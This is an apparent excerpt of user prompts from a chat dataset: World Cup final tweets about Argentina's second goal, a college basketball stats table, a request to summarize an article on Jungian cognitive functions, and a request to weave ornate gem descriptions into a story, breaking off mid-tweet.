beautiful and perfect goal for Argentina 15:36:25.0000000\nWhat a beautiful goal, vamos Argentina!!! 15:36:55.0000000\nThat was a beautiful goal! 2-0 Argentina in the 36th minute. 15:36:50.0000000\nDI MARIA WHAT A BEAUTIFUL FUCKING GOAL ARGENTINA WHAT A BEAUTIFUL FUCKING PLAY 15:36:23.0000000\nWhat. A. Beautiful. Goal. #ArgentinaVsFrance #FIFAWorldCup 15:36:54.0000000\nBeautiful second goal for Argentina omg yesss 15:35:56.0000000\nThat was such a beautiful goal for Argentina 15:36:50.0000000\nArgentina ???? what a beautiful goal!!! 15:36:22.0000000\nChampagne football ?? Beautiful team goal ???? #ArgentinaVsFrance 15:36:29.0000000\nThat was a beautiful goal \'\'Thats a wrap France are no coming back from this 15:36:55.0000000\nBeautiful ball movement by Argentina on that goal\'\'#WorldCupFinal 15:36:59.0000000\nBeautiful second goal.\'Just beautiful #ArgentinaVsFrance #WorldCup 15:35:53.0000000\nBeautiful goal! #FIFAWorldCupFinal ???? 15:36:27.0000000\n2-0!!!!!!!!!! Argentina!!!!!!!! What a beautiful goal!!!!!!!!! ????\'#FIFAWorldCup #WorldCup 15:36:32.0000000\nWhat a beautiful goal. \'France are asleep 15:36:45.0000000\nBeautiful team goal worthy of the finals #WorldCup \'Argentina deserves to win this better team all game 15:36:57.0000000\nBeautiful goal!!! #WorldCup #ArgentinaVsFrance 15:36:27.0000000\nBeautiful goal. France have been shocking 15:35:58.0000000' -'next block. just confirm receipt, dont reprint:\n\nColorado State 33 15 18 0.455 40.3 72.5 26.5 54.2 0.488 7.6 20.9 0.364 11.9 16 0.745 5.3 23.7 29 16.5 5.7 2.5 10.8 16.3\nLouisiana Tech 33 15 18 0.455 40.8 72.2 25.9 58.5 0.442 8.5 24.7 0.345 11.9 16.5 0.722 9.8 22.7 32.5 12.4 7.9 2.6 13.2 17.3\nGardner-Webb 31 15 16 0.484 40.6 70.7 26.2 56.2 0.467 6.3 18.8 0.336 11.9 19.1 0.625 8.9 24.5 33.4 12.9 7.2 4.7 12.8 19.2\nCalifornia Baptist 33 17 16 0.515 40.2 69.4 24.6 57.5 0.427 8.4 25.4 0.33 11.9 17.9 0.664 9.6 25.1 34.7 14.3 4.4 3.1 11.2 17.2\nOle Miss 33 12 21 0.364 40 67.5 24.7 58.5 0.422 6.2 20.3 0.303 11.9 17.1 0.695 10.5 22.7 33.2 13.1 7.1 3.7 11.7 15.9\nIdaho State 32 11 21 0.344 40.9 69.2 24.8 55.8 0.445 7.7 22.7 0.338 11.9 16.2 0.735 7.3 22.1 29.4 12.3 5.8 2.8 11.2 17.6\nMarshall 32 24 8 0.75 40.4 81.8 30.8 66.3 0.465 8.3 24.4 0.338 11.9 17.1 0.693 11.4 25.3 36.8 17.5 9 5.3 11.5 16.4\nValparaiso 32 11 21 0.344 40.7 68.9 25.4 57.9 0.44 6.2 20.9 0.296 11.9 16.3 0.728 7.2 25.4 32.6 13.6 5.8 2.6 12.3 16.6\nSam Houston State 32 25 7 0.781 40.2 73.2 26.5 57.8 0.459 8.3 21.5 0.385 11.9 17.4 0.681 10.7 24.4 35.1 13.8 8.4 2.2 12.7 18.1\nPepperdine 31 9 22 0.29 40.5 78 29 62.2 0.466 8.2 22.5 0.362 11.9 16.7 0.71 8.5 25.7 34.2 15.1 5.4 3.8 13.9 17.7\nUSC Upstate 31 16 15 0.516 40.2 68.9 25.2 54.9 0.459 6.6 19.3 0.342 11.9 18.1 0.656 7.5 22.2 29.7 11.9 7.4 4.4 12.9 20.2\nDartmouth 28 10 18 0.357 40.5 71.4 25.7 58.1 0.442 8.1 24.5 0.333 11.9 17 0.699 7.7 25.5 33.2 12.9 5.5 4 14.3 17\nMarquette 34 28 6 0.824 40.6 79.9 29.6 60.8 0.487 8.9 25.4 0.348 11.9 16.4 0.721 8.1 21.9 29.9 17.6 9.4 3.1 10.7 16.3\nSouth Florida 32 14 18 0.438 40.2 72 26.4 59.2 0.446 7.4 21.9 0.336 11.8 18.2 0.652 10.7 24.3 35.1 13.4 6.5 3.1 13.4 17.8\nLindenwood 32 11 21 0.344 40.8 69.6 25.1 58.5 0.429 7.5 20.8 0.36 11.8 16.3 0.729 8.3 24.4 32.7 11.8 6.3 3.3 13 16.1\nFlorida A&M 29 7 22 0.241 40.1 58.6 20.5 53 0.387 5.8 18.4 0.313 11.8 17.1 0.692 9.1 21.7 30.8 9.7 6.6 3.6 15.4 19\nArmy West Point 33 17 16 0.515 40.3 73.1 26.8 56.2 0.477 7.6 21.8 0.351 11.8 17.3 0.684 7.8 25.2 33 13 5.1 2.1 12.5 16.1\nNorth Florida 31 14 17 0.452 40.6 76.2 27 59.3 0.456 10.4 28.4 0.367 11.8 16.4 0.719 8 24.2 32.2 13.1 5 3.9 11.9 14\nRutgers 33 19 14 0.576 40.1 67.9 25.2 58.9 0.428 5.7 17.8 0.318 11.8 16.8 0.702 10.5 24.7 35.1 15 8.8 3.9 11 16\nCal State Bakersfield 33 11 22 0.333 40.6 60.5 22.2 53.6 0.414 4.3 13.2 0.325 11.8 15.5 0.76 8.2 21.6 29.8 10.8 6.2 3 12.2 18.8\nHarvard 28 14 14 0.5 40.4 68.4 25 56.9 0.439 6.6 21.3 0.309 11.8 17.6 0.669 10.3 24.8 35 13.2 7.5 3.8 13.2 14.6\nOklahoma 32 15 17 0.469 40.2 67.7 24.4 53.3 0.458 7 19.9 0.351 11.8 16 0.735 6.4 24.5 31 13 5.7 3 12.9 16.2\nLa Salle 34 15 19 0.441 40.5 69.8 25.4 59.9 0.424 7.3 21.4 0.341 11.8 17 0.693 10.1 23.5 33.5 12 6.8 3.2 12.2 17.8\nSouth Dakota 31 12 19 0.387 39.9 69.3 24.4 56.5 0.431 8.9 22.8 0.389 11.7 15.4 0.765 7.7 24.1 31.7 12.2 4.5 1.5 11.5 17.4\nNew Hampshire 30 15 15 0.5 40.3 66.4 23.2 58.3 0.398 8.3 24.2 0.342 11.7 16.9 0.693 9.4 24.6 34 11.7 5.4 2.5 9.8 15.1' -'Please summarize this: A Glance into the History of the 8 Jungian Functions\nCarl Jung, the famous Swiss psychiatrist, proposed his model of the eight (8) functions in his work, Psychological Types (1921). He divided the functions into two groups, extraverted (tethered in the external world) and introverted (unfolded in the inner world).\n\nJung’s work would later be built upon by Isabel Briggs Myers and her mother Katharine Cook Briggs, who created a personality model we know today as the Myers-Briggs Type Indicator (MBTI®). The Myers-Briggs approach used scales for Extraversion-Introversion, Sensing-Intuition and Thinking-Feeling based on Jung’s work and then added a fourth dimension of their own, Judging-Perceiving. The result is 4 different scales on which a person will be assigned one of two possible values. Thus there are 16 combinations (2 x 2 x 2 x 2 = 16).\n\nEach of the 16 personality types have four cognitive functions in alternating directions (i.e. introverted then extraverted, or vice versa), which can be thought of as four “puzzle pieces” in a particular type. External factors such as upbringing and stress can alter the way each function manifests.\n\nThe four (4) personality scales as proposed by Briggs and Myers:\nExtraversion (E) – Introversion (I) → Gaining energy by interacting with other people or alone\nSensing (S) – Intuition (I) → Collecting information through the senses or imagination\nThinking (T) – Feeling (F) → Making decisions through logic or emotions\nJudging (J) – Perceiving (P) → Organizing time by using schedules or without them; result- or process-oriented\nAs mentioned, the first three above are based on Jung’s work with the fourth added by Myers-Briggs. According to Jung, the “cognitive functions” are the two scales of Sensing-Intuition and Thinking-Feeling. These are the ways in which humans process information and think about the world. Then each function can be expressed both in an extraverted manner or an introverted manner. As such, Jung didn’t really view people as “extraverts” and “introverts” but rather was more focused on the extraverted or introverted expression of each of the four cognitive functions.\n\nJungian four (4) cognitive functions stack:\nJung’s cognitive function “stack” describes the priority or order in which a person uses their cognitive functions, with Primary being the most natural and commonly used and the Inferior being the least-commonly used.\n\nPrimary → Most natural (and comfortable) function; the internal “mother tongue”\nAuxiliary → Supporting function, usually connected with creation and job choice\nTertiary → Function where individual often takes action steps to improve upon\nInferior → Activates under extreme stress, generally avoided out of self-protection\nDescriptions of the Eight (8) Cognitive Functions\nNow let’s discuss the eight different cognitive functions originally outlined by Jung. His theory proposed that for each of the 4 functions (Sensing, Intuition, Thinking and Feeling) each person would generally either extravert (display outwardly or externally) or introvert (consider inwardly or internally) that function.\n\nAs you read below, consider each function and its expression. Are you more Se or Si? Does Te or Ti come more naturally for you?\n\nExtraverted Sensing (Se)\nTaking action, using all five senses, going forward. Se takes in the present moment in its entirety, and makes rapid decisions on the fly. During times of crisis and emergencies, individuals with primary or auxiliary Se can make the best out of the situation.\n\nExample career areas that emphasize extraverted sensing (Se):\n\nArchaeology\nStunt driving\nFirefighting\nEmergency patrol\nMassage therapy\nIntroverted Sensing (Si)\nAssociations, metaphors, nostalgia. Si can travel back to any point in time through a single scent or sound. Important information (and sometimes interesting trivia) is stored in filing cabinets, where it can be retrieved at any later time.\n\nExample career areas that emphasize introverted sensing (Si):\n\nMuseum curation\nInterior design\nQuantitative sciences (e.g. statistics)\nLibrary sciences\nMedical coding\nExtraverted Intuition (Ne)\nBrainstorming, thinking outside the box, idea generation. Ne easily hops from idea to idea, while making abstract connections. Many artists—especially poets—use significant Ne in their work. To the outside, Ne seems quick, random, and extremely “jumpy.”\n\nExample career areas that emphasize extraverted intuition (Ne):\n\nFilmmaking, concept art\nCopywriting, art direction\nEntrepreneurship\nVideo producer (e.g. Youtube)\nWorkshop facilitating\nIntroverted Intuition (Ni)\nTime-space awareness, predicting the future, hunches. Ni is a far-reaching, visionary function—and can picture the future, sometimes with scary-accurate results.\n\nExample career areas that emphasize introverted intuition (Ni):\n\nDetective services, private investigation\nEconomic predictions and analysis\nForensic and engineering psychology\nPublic speaking, mentoring\nConsulting, all types\nExtraverted Feeling (Fe)\nExpressive emotions, social norms, etiquette. Fe respects the consensus of the group, and puts harmony above personal desires. The function often acts as a mediator between groups, as it naturally puts others’ needs above its own.\n\nExample career areas that emphasize extraverted feeling (Fe):\n\nActing, performance arts\nSinging\nDance therapy\nTelevision hosting\nPublic relations (PR)\nIntroverted Feeling (Fi)\nValues, notions of “right” and “wrong,” likes and dislikes. Fi is a deeply personal and intense function that digs to the core of the human condition. Convictions, morals, and strong beliefs all fall under the Fi umbrella.\n\nExample career areas that emphasize introverted feeling (Fi):\n\nPoetry, creative writing\nArt, various forms\nNarrative design\nMental health counseling\nPeace studies\nExtraverted Thinking (Te)\nFacts, pros and cons, methodological step-by-step strategies. Te respects rules and regulations—and takes great pride in a job well done. Checklists and clear-cut meeting agendas get Te’s gears going—a top-down approach floats its boat.\n\nExample career areas that emphasize extraverted thinking (Te):\n\nAccounting\nPublic and private law\nComputer programming\nNatural sciences, laboratory support\nComputational mathematics\nIntroverted Thinking (Ti)\nIterations, holistic reasoning, agile strategies. Ti takes a bottom-up approach to problem-solving, and fixates on information management. When new data comes in that contradicts old beliefs, Ti will shift like a fluid crystalline framework.\n\nExample career areas that emphasize introverted thinking (Ti):\n\nData analysis\nSystems design engineering\nPhilosophy, sociology\nCybersecurity\nLanguage translation\nWhat are YOUR Functions and Cognitive Stack?\nAccording to Jung’s theory, each person would essentially predominantly display each function (Sensing, Intuition, Thinking, Feeling) in either an extraverted or introverted manner. So of the 8 functions listed above, you’d have 4 of them. If you favor Extraverted Intuition (Ne) it doesn’t mean you can’t use Introverted Intuition (Ni) but rather just that it is less common for you and thus Ne is your primary mode of Intuition. Since Intuition and Sensing are together on scale, if you extravert your Intuition then you tend to introvert your Sensing. So you’d have Ne and Si.\n\nNext you must consider your Thinking-Feeling scale. If this same person tends to externalize (or extravert) their Thinking in the real world then we have a Te, and thus by definition the Feeling would be introverted (Fi). So we have Ne, Si, Te, Fi. But not necessarily in that order. That’s when functional stacking steps in. Each individual uses both Thinking and Feeling functions, which makes the cut-and-dried type system overly simplistic. \n\nThe next task is to determine which function is primary, auxiliary, tertiary and inferior. This is when the concept of functional “stacking” comes in handy. Whichever is most natural is likely the primary, and so on. This is the order of the “stack”, which of your functions comes first or primary, and which comes last or inferior. Let’s say the order in this case is was Ne, Fi, Te, Si. That translates to the ENFP personality type.\n\nCertainly the primary and auxiliary functions are those that come most natural to an individual, and are likely to characterize their outward personality. But while these tendencies may be seen quite obviously on the surface, they don’t fully address one’s personality. The tertiary and inferior functions are also crucial to understand.\n\nIf we only consider the four letters in ENFP (Extraverted, Intuitive, Feeling, Perceiving), for example, it would be next to impossible to see the hidden extraverted thinking (Te) and introverted sensing (Si) in their stacking. ENFPs are more than just their bubbly, charismatic and energetic stereotype. Their Te allows them to systematically work through their tasks and Si with their (often overlooked) excellent memory for details. This can make them excellent PR managers, communications specialists, and journalists.\n\nAnother example of hidden functions in play can be seen in the INTJ (Introverted, Intuitive, Thinking, Judging). INTJs are often dubbed by the entertainment and film industry as chess grandmasters who are strategic, sometimes cunning, and sometimes cold. However, they have introverted feeling (Fi) and extraverted sensing (Se) as their respective third and fourth function. INTJs have strong morals and hold their loved ones dear to their hearts. When under stress, they can become acutely aware of their surroundings and an asset to any team.\n\nHow Does this Relate to “Personality Typing”?\nThis is the underlying theory behind the Myers-Briggs model and behind most models that also use the 16 personality types nomenclature. There is no shortage of different “personality tests” online that you can take that will attempt to determine what your functions are (Fe vs Fi, Te vs Ti, etc.) and in what order they are “stacked”. This then determines which of the 16 types you fall into. While the tests are certainly convenient, any such self-assessment is naturally rigid and prone to testing limitations and thus is never able to get a fully-accurate picture of a human being.' -'combine all of the descriptor prompts into a story\n\n "ornate primordial ethereal celestial gems embellished fractal jewelry encrusted cosmic luxury\n\nornate primordial ethereal celestial gems, intricately crafted and adorned with delicate fractal patterns, encrusted with sparkling cosmic luxury, creating a truly breathtaking and otherworldly display of opulence and grandeur.\n\nAs you gaze upon the breathtaking display before you, you are struck by the sheer beauty and grandeur of the ornate primordial ethereal celestial gems that adorn the intricate fractal jewelry. Each gem seems to radiate with an otherworldly light, as if containing within it the secrets of the universe. The gems are encrusted with sparkling cosmic luxury, adding to their ethereal beauty and giving the impression of a treasure from another world. The overall effect is one of opulence and splendor, leaving you in awe of the incredible craftsmanship and artistry on display.\nAs you step into the grand hall, your eyes are immediately drawn to the mesmerizing display of ornate primordial ethereal celestial gems that adorn the walls and pillars. Each gem seems to contain within it the essence of the universe, radiating an otherworldly light that fills the room with a soft, ethereal glow. The gems are embellished with intricate fractal patterns, adding to their beauty and complexity. The jewelry that encases the gems is crafted with expert precision, encrusted with sparkling cosmic luxury that shimmers in the light. The overall effect is one of opulent splendor, creating a truly breathtaking and otherworldly experience. You can\'t help but feel a sense of awe and wonder as you take in the incredible beauty and luxury of the ornate primordial ethereal celestial gems.\n\n\nAs you step into the lavish fashion show, you are immediately struck by the stunning display of ornate primordial ethereal celestial gems that adorn the haute couture garments on the runway. Each gem seems to contain within it the secrets of the universe, glowing with an otherworldly light that is both captivating and alluring. The gems are intricately crafted and embellished with delicate fractal patterns, adding to their already impressive beauty and complexity. The jewelry that encases the gems is crafted with expert precision, encrusted with sparkling cosmic luxury that shimmers and sparkles in the bright runway lights. The overall effect is one of opulent splendor and otherworldly elegance, creating a truly breathtaking and unforgettable experience. You can\'t help but feel a sense of awe and wonder as you take in the incredible beauty and luxury of the ornate primordial ethereal celestial gems.\nOrnate: elaborate, decorative, fancy, extravagant\nPrimordial: ancient, original, primeval, primal\nEthereal: otherworldly, celestial, sublime, spiritual\nCelestial: heavenly, divine, celestial, supernatural\nGems: jewels, precious stones, diamonds, crystals\nEmbellished: decorated, adorned, enhanced, bedecked\nFractal: complex, intricate, detailed, ornate\nJewelry: adornments, ornaments, trinkets, baubles\nEncrusted: covered, studded, decorated, embellished\nCosmic: universal, astronomical, galactic, celestial\nLuxury: opulence, extravagance, grandeur, splendor\nHaute couture: high fashion, designer clothing, luxury fashion, bespoke fashion\nAs you enter the grand hall, your eyes are immediately drawn to the elaborate display of ancient, otherworldly celestial jewels that adorn the intricate, ornate jewelry on display. Each precious stone seems to contain within it the secrets of the universe, radiating with a sublime, spiritual light that fills the room with a soft, ethereal glow. The gems are delicately crafted and adorned with complex, detailed fractal patterns, adding to their already impressive beauty and complexity. The ornaments that encase the gems are crafted with expert precision, studded with sparkling universal luxury that shimmers and sparkles in the light. The overall effect is one of opulent splendor and celestial elegance, creating a truly breathtaking and unforgettable experience. You can\'t help but feel a sense of awe and wonder as you take in the incredible beauty and luxury of the ancient, otherworldly celestial jewels.\nIn the grand hall of luxury and splendor,\nWhere haute couture garments grace the floor,\nOur eyes are drawn to the ethereal glow\nOf ornate primordial celestial gems.\n\nWith each gem, a universe unfolds,\nMysteries and secrets to behold,\nEmbellished with intricate fractal art,\nA cosmic beauty that sets us apart.\n\nEncrusted in sparkling luxury,\nA treasure from another world, it seems,\nWe are awed by their grandeur and grace,\nOrnate primordial celestial gems in their place.\n\nSo let us marvel at their beauty divine,\nThese ornate primordial ethereal gems of mine,\nAdorning the finest haute couture garments,\nA true display of opulence and splendor.\n\nIn the world of haute couture and luxury,\nWhere beauty and elegance reign supreme,\nWe are awed by the ornate splendor\nOf primordial ethereal celestial gems.\n\nEach gem holds a universe within,\nA world of mystery and wonder to begin,\nEmbellished with delicate fractal patterns,\nA cosmic beauty that leaves us in awe.\n\nEncrusted in sparkling luxury,\nA treasure from another world, it seems,\nWe are captivated by their grandeur and grace,\nOrnate primordial celestial gems in their place.\n\nSo let us marvel at their beauty divine,\nThese haute couture ornate primordial gems of mine,\nAdorning the finest garments with opulence and splendor,\nA true display of luxury and elegance.\n\nAs you step into the grand hall, your eyes are immediately drawn to the mesmerizing display of ornate primordial ethereal celestial gems that adorn the walls and pillars. Each gem seems to contain within it the essence of the universe, radiating an otherworldly light that fills the room with a soft, ethereal glow. The gems are embellished with intricate fractal patterns, adding to their beauty and complexity. The jewelry that encases the gems is crafted with expert precision, encrusted with sparkling cosmic luxury that shimmers in the light. The overall effect is one of opulent splendor, creating a truly breathtaking and otherworldly experience. You can\'t help but feel a sense of awe and wonder as you take in the incredible beauty and luxury of the ornate primordial ethereal celestial gems. In the center of the room, a runway showcases the latest in haute couture fashion, with garments adorned with the same ornate primordial ethereal celestial gems, creating a dazzling display of luxury and elegance.\n\nThe dress is a masterpiece of haute couture, with a bodice adorned with ornate primordial ethereal celestial gems that seem to contain within them the secrets of the universe. The gems are intricately crafted and embellished with delicate fractal patterns, adding to their already impressive beauty and complexity. The dress flows into a full skirt, encrusted with sparkling cosmic luxury that shimmers and sparkles in the light. The overall effect is one of opulent splendor and otherworldly elegance, creating a truly breathtaking and unforgettable fashion statement. The dress is the perfect blend of ancient and modern, combining primordial beauty with cosmic luxury for a truly unique and striking design.\n\nThe dress is a true work of art, crafted with expert precision and attention to detail. The bodice is adorned with ornate primordial ethereal celestial gems that seem to radiate with an otherworldly light, as if containing within them the secrets of the universe. The gems are intricately crafted and embellished with delicate fractal patterns, adding to their already impressive beauty and complexity. The dress flows into a full skirt, encrusted with sparkling cosmic luxury that shimmers and sparkles in the light. The overall effect is one of opulent splendor and otherworldly elegance, creating a truly breathtaking and unforgettable fashion statement. The dress is the perfect blend of ancient and modern, combining primordial beauty with cosmic luxury for a truly unique and striking design. The haute couture craftsmanship is evident in every detail, from the ornate primordial ethereal celestial gems to the sparkling cosmic luxury, creating a garment that is truly one of a kind.\nSure, the goddess wearing the dress might be a stunningly beautiful and otherworldly being, with long flowing hair and delicate features. She might have a regal bearing, exuding a sense of grace and elegance. The dress would complement her beauty perfectly, with the ornate primordial ethereal celestial gems adding to her already impressive aura of majesty and splendor. The goddess would radiate with an ethereal light, giving the impression of a being from another world. She would be the epitome of beauty and grace, wearing the dress with effortless poise and elegance, commanding the attention of all those around her.\n\nThe goddess is a stunningly beautiful and otherworldly being, with long flowing hair that cascades down her back in golden waves. Her delicate features are perfectly proportioned, with large, luminous eyes that seem to contain within them the secrets of the universe. Her lips are full and sensual, with a hint of a smile playing at the corners of her mouth. She has a slender, graceful figure, with curves that are accentuated by the flowing lines of the dress. The dress is a perfect complement to her beauty, with the ornate primordial ethereal celestial gems adding to her already impressive aura of majesty and splendor. The goddess radiates with an ethereal light, giving the impression of a being from another world. She is the epitome of beauty and grace, wearing the dress with effortless poise and elegance, commanding the attention of all those around her.\n\nIt is difficult to say where this goddess might live, as her otherworldly beauty and ethereal radiance suggest that she is not of this world. She could potentially live in a realm beyond our own, in a celestial realm of beauty and splendor, where the ornate primordial ethereal celestial gems are a common sight. Alternatively, she could live in a fantastical world of her own creation, where the beauty and luxury of the dress and gems are a reflection of her own magnificent power and majesty. Wherever she lives, it is certain that she is surrounded by beauty and splendor, and that her ornate primordial ethereal celestial gems are a symbol of her incredible otherworldly grace and elegance.\n\nThe goddess is a truly otherworldly being, with a beauty and grace that is beyond compare. She lives in a realm beyond our own, in a celestial realm of unimaginable splendor and opulence. The realm is filled with ornate primordial ethereal celestial gems, which adorn the walls and pillars of the grand palaces and temples. The gems radiate with an otherworldly light, giving the realm a soft, ethereal glow. The goddess herself is adorned with the same ornate primordial ethereal celestial gems, which are intricately crafted and embellished with delicate fractal patterns. She wears a flowing dress of the finest haute couture, encrusted with sparkling cosmic luxury that shimmers and sparkles in the light. The overall effect is one of otherworldly elegance and opulence, creating a truly breathtaking and unforgettable spectacle. The goddess is surrounded by beauty and splendor, and her ornate primordial ethereal celestial gems are a symbol of her incredible otherworldly grace and elegance.\nIt is difficult to say exactly what the goddess\' surroundings look like, as we do not have any specific information about her realm or location. However, based on the description of her ornate primordial ethereal celestial gems and the luxurious haute couture dress she wears, it is likely that her surroundings are similarly opulent and beautiful. The realm may be filled with grand palaces and temples, adorned with the same ornate primordial ethereal celestial gems that the goddess wears. The gems may radiate with an otherworldly light, giving the realm a soft, ethereal glow. The overall effect may be one of otherworldly splendor and elegance, creating a truly breathtaking and unforgettable spectacle.\n\nSure, the grand palaces and temples in the goddess\' realm may be truly magnificent structures, with intricate architectural details and opulent decor. The palaces may be constructed from the finest materials, with walls and pillars adorned with ornate primordial ethereal celestial gems that radiate with an otherworldly light. The gems may be intricately crafted and embellished with delicate fractal patterns, adding to their already impressive beauty and complexity. The temples may be equally grand and impressive, with towering spires and ornate carvings and sculptures. The overall effect may be one of opulent splendor and otherworldly elegance, creating a truly breathtaking and unforgettable spectacle. The grand palaces and temples may be a reflection of the goddess\' own majesty and power, and the ornate primordial ethereal celestial gems may be a symbol of her incredible otherworldly grace and elegance.\nThe interior design and architecture of the temples and palaces in the goddess\' realm may be truly impressive and grandiose. The interior spaces may be filled with luxurious furnishings and decor, including plush carpets and cushions, elaborate tapestries and paintings, and gleaming golden ornaments and statues. The walls and pillars may be adorned with ornate primordial ethereal celestial gems, which radiate with an otherworldly light and add to the already impressive opulence of the space. The architecture of the temples and palaces may be equally impressive, with grand arches and soaring domes, intricate carvings and sculptures, and elaborate stained glass windows that depict scenes from the goddess\' realm and beyond. The overall effect may be one of otherworldly splendor and elegance, creating a truly breathtaking and unforgettable spectacle. The interior design and architecture may be a reflection of the goddess\' own majesty and power, and the ornate primordial ethereal celestial gems may be a symbol of her incredible otherworldly grace and elegance."' -'sourceText Time\nSublime team goal from Argentina that #FIFAWorldCup #ArgentinaVsFrance 15:36:49.0000000\nTotal domination ???? What a great team goal #WorldCupFinal 15:36:16.0000000\nWhat a goal, what a team, France Over and Out 15:36:21.0000000\nWhat a beautiful team goal by Argentina #WorldCupFinal 15:36:09.0000000\nWHAT A TEAM GOAL BY ARGENTINA! 2-0! ???? #FIFAWorldCup 15:36:21.0000000\nUnbelievable team goal that from Argentina ???? 15:36:04.0000000\nSimply brilliant from Argentina.\'Superb team goal ???????? 15:36:30.0000000\nFantastic team goal from Argentina ???? 15:36:27.0000000\nGreat team goal by #Argentina. Those tears you were talking about @piersmorgan , are they yours? #ArgentinaVsFrance 2-0 15:36:50.0000000\nARGENTINA. What an absolute team goal that was. Great finish! 15:36:43.0000000\nGreat team goal. France are flopping big time here 15:36:55.0000000\nWHAT A TEAM GOAL FROM ARGENTINA 15:36:09.0000000\nGreat team goal. France have been proper shit. 15:36:23.0000000\nWhat a team goal France never just got going in this match #FIFAWorldCup 15:36:48.0000000\nMy word is Argentina bossing this! What a team goal! 15:36:56.0000000\nBeautiful team goal Argentina ???? 15:36:21.0000000\n@la5ty That was a sick goal great team work they are all over France 15:36:59.0000000\nWhat a lovely Team Goal!! Argentina FULLY deserve this handsome lead btw. France are in the mud. ?????????? #ARGFRA #FIFAWorldCup 15:36:57.0000000\nThat\'s the goal of the tournament by team wow #ArgentinaVsFrance 15:36:29.0000000\nArgentina with the best team goal of the tournament 15:36:35.0000000\nBrilliant team goal. Argentina running away with it. 15:36:08.0000000\nUnbelievably good team goal that. France torn apart. 15:36:02.0000000\nNow that was some team goal by #arg . #ArgentinaVsFrance 15:36:15.0000000\nThat was a lovely team goal. #ArgentinaVsFrance 15:36:50.0000000\nHoly fuck the Argentina team is on fire. They\'re taking this world cup easily. Even the penalty goal was well deserved. 15:36:52.0000000\nThat’s a serious team goal wow ?? #ArgentinaVsFrance 15:36:36.0000000\nWHAT A TEAM GOAL\'\'lets go there #FIFAWorldCup \'#FIFAWorldCupFinal \'#ArgentinaVsFrance 15:36:37.0000000\nBeautiful team goal worthy of the finals #WorldCup \'Argentina deserves to win this better team all game 15:36:57.0000000\nWhat a team goal wooow\'\'Argentina don\'t fumble please 15:36:37.0000000\nOne pass from Messi and he dismantles the France defense to help his team set up the second goal ????? 15:36:52.0000000\nWhat a sublime team goal , Goal Argentina 15:36:35.0000000\nGood team Goal..#ArgentinaVsFrance 15:36:16.0000000\nI have to say what a goal from Argentina. Brilliant team goal. 15:36:09.0000000\nQuality team goal... #FIFAWorldCupFinal #FIFAWorldCup 15:36:33.0000000\nNo mistake this time. #DiMaria scores a well worked goal from #Argentina. Excellent team effort. \'\'#Argentina 2-0 #France. #WorldCupFinal 15:36:38.0000000\nDi Maria has been excellent in the first half. What a great team goal by Argentina!! 15:36:51.0000000\nWHAT A FUCKING TEAM GOAL!!! VAMOS ARGENTINA CARAJO!! #FIFAWorldCup 15:36:59.0000000\nIncredible team goal involving Messi and Mac Allister. 2-0 to Argentina. 15:36:52.0000000\nWhat a team goal. ???? #WorldCup #ArgentinaVsFrance 15:36:41.0000000\n“Soft penalty”, soft second goal, soft boys - everything soft!!! Go team Argentina!!! 15:36:26.0000000\nSpectacular team goal. Wow. #WorldCupFinal 15:36:32.0000000\nWhat a great team goal by Argentina ?? 15:36:49.0000000\nArgentina ripping the French a new one here!!! France still in the changing room!! Great team goal that… 15:36:49.0000000\nWHAT A TEAM GOAL ARGENTINA!!!!! 15:36:33.0000000\nThat was fucking fantastic by Argentina! What a team goal that was! 15:36:08.0000000\nWhat a fucking team goal #ArgentinaVsFrance #FIFAWorldCup 15:36:28.0000000\nWhat a team goal from Argentina ???????????? 15:36:09.0000000\nFirst goal was never a pen but second was great team goal.. France look poor... Where\'s Mbappe? 15:36:54.0000000\nFantastic team goal by Argentina ???? 15:36:53.0000000\nWhat an incredible team goal!!!! Only one team in this #ArgentinaVsFrance #WorldCupFinal #FIFAWorldCup ???? 15:36:58.0000000\nThat was art from Argentina. What a team goal. 15:36:29.0000000\nwhat a dam good goal what a team goal #ARGFRA 15:36:20.0000000\nBest team goal so far. \'#Argentina #WorldCup 15:36:31.0000000\nTWO NIL TO ARGENTINA IN THE WORLD CUP FINAL WHAT A BALL WHAT A TEAM GOAL MAGNIFICENT 15:36:44.0000000\n2-0 2-0 2-0 2-0 MESSI IS WINNING IT ARGENTINA IS WINNING IT WHAT A TEAM GOAL 15:36:21.0000000\nWhat a goal by Argentina...excellent goal. Proper team work. 15:36:12.0000000\nThat’s a fucking amazing goal team goal of the tournament #ArgentinaVsFrance 15:36:02.0000000\nFantastic team goal by ARGENTINA #FIFAWorldCup #ArgentinaVsFrance 15:36:55.0000000\nGreat team goal that #ArgentinaVsFrance 15:36:18.0000000\nBeautiful fucken second goal by Argentina hahahaha omg that was a team goal 15:36:57.0000000\nBeautiful team goal for Argentina. Messi gets ?? tonight. 15:36:37.0000000\nWow! What a team goal by Argentina! Wow! 15:36:11.0000000\nThe French team ain\'t playing like this is a final. No attempt on goal for 35min #ArgentinaVsFrance #FIFAWorldCup 15:35:54.0000000\nAn absolutely sensational counter attack from Argentina. What a team goal. 15:36:24.0000000\nBrilliant team goal from Argentina! 15:36:17.0000000\nSouthgate should of beaten this France team... Embrassing that journos though lossing by 1 goal to them was a "good result". 15:36:54.0000000\nNo attempt on goal. No shot on target. Yet unuh a talk bout ref. The ref fi play pon France team give them a extra player? 15:35:14.0000000\nBrilliant team goal…. Bwoy France it’s not looking good bruv 15:36:52.0000000\nAngel Fucking Di Maria????????????\'Oh my God\'This is absolutely beautiful \'#ArgentinaVsFrance #FIFAWorldCup \'Goal of the tournament in terms of team work 15:36:28.0000000\nUnreal team goal ?? #ARGFRA 15:35:55.0000000\nHe deserved that goal! What a team run! #ARGFRA #WorldCupFinal 15:36:52.0000000\nUnbelievable team goal #WorldCupFinal 15:36:26.0000000\nLionel Messi is now the first man to: \'\'• Play 26 games at the World Cup \'\'• Score in all rounds of a 32-team World Cup \'\'• First player to have 20 goal involvements\'\'• Equaled Pele’s record of 12 goals in five World Cups https://t.co/hxbhk80O6N 15:36:13.0000000\n#ARG IS PLAYING LIKE A TEAM POSSESSED! WHAT A GOAL!!!!! #ARGFRA #FIFAWorldCup 15:36:50.0000000\nIncredible team goal #ArgentinaVsFrance 15:36:04.0000000\nBrilliant team goal 2-0 Argentina 15:36:08.0000000\nFabulous team goal #WorldCupFinal 15:36:36.0000000\nSecond goal by Argentina...this French team no ready at all 15:36:38.0000000\nNah shoutout to Argentina, what a team goal. Wow 15:36:31.0000000\nWhat a goal by Argentina. Best team goal all tournament 15:36:32.0000000\nArgentina is all class today. What a team goal! 15:36:36.0000000\nThat was just a beautiful team goal for Argentina’s 2nd 15:35:56.0000000\nFrance with 0 attempts on 